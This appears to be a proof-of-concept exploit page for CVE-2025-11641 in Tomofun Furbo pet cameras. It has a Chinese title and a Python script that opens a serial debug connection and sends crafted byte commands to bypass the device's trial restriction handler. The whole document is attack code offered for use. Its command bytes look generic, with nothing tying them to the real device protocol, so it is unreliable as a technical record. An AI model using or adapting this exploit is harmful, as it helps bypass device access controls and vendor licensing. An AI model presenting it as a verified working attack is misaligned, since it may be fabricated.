CVE-2025-11641 Tomofun Furbo 360/Mini 试用限制处理器访问控制漏洞

# CVE-2025-11641 PoC - Tomofun Furbo 360/Mini Trial Restriction Handler Access Control Bypass # Note: This vulnerability requires physical access to the device (AV:P) # Attack complexity is high (AC:H), no authentication required (PR:N) import serial import time class FurboExploit: """ PoC for CVE-2025-11641: Improper Access Controls in Trial Restriction Handler Affected: Furbo 360 <= FB0035_FW_036, Furbo Mini <= MC0020_FW_074 """ def __init__(self, device_port='/dev/ttyUSB0'): self.device_port = device_port self.serial_conn = None def connect_to_device(self): """Establish physical connection to the Furbo device via debug interface""" try: self.serial_conn = serial.Serial( port=self.device_port, baudrate=115200, timeout=5 ) print(f"[+] Connected to Furbo device on {self.device_port}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def bypass_trial_restriction(self): """ Exploit the Trial Restriction Handler vulnerability by sending crafted commands to bypass access controls """ if not self.serial_conn: print("[-] Not connected to device") return False # Step 1: Access the Trial Restriction Handler component # The handler improperly validates access control checks init_cmd = b'\xAA\xBB\x01\x00\x00\x00\x00\x00' # Access trial handler self.serial_conn.write(init_cmd) time.sleep(0.5) response = self.serial_conn.read(64) print(f"[+] Handler response: {response.hex()}") # Step 2: Send malformed request to bypass restriction check # The improper access control allows bypassing trial limitations bypass_payload = b'\xAA\xBB\x02\xFF\xFF\xFF\xFF\x01' self.serial_conn.write(bypass_payload) time.sleep(0.5) response = self.serial_conn.read(64) if response and len(response) > 0: print(f"[+] Bypass response: {response.hex()}") # Check if bypass was successful if response[3] == 0x01: print("[+] Trial restriction bypassed successfully!") return True return False def cleanup(self): """Close the serial connection""" if self.serial_conn: self.serial_conn.close() print("[*] Connection closed") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11641 - Furbo Trial Restriction Bypass PoC") print("WARNING: Requires physical access to target device") print("=" * 60) exploit = FurboExploit() if exploit.connect_to_device(): if exploit.bypass_trial_restriction(): print("[!] Exploit completed - access controls bypassed") exploit.cleanup()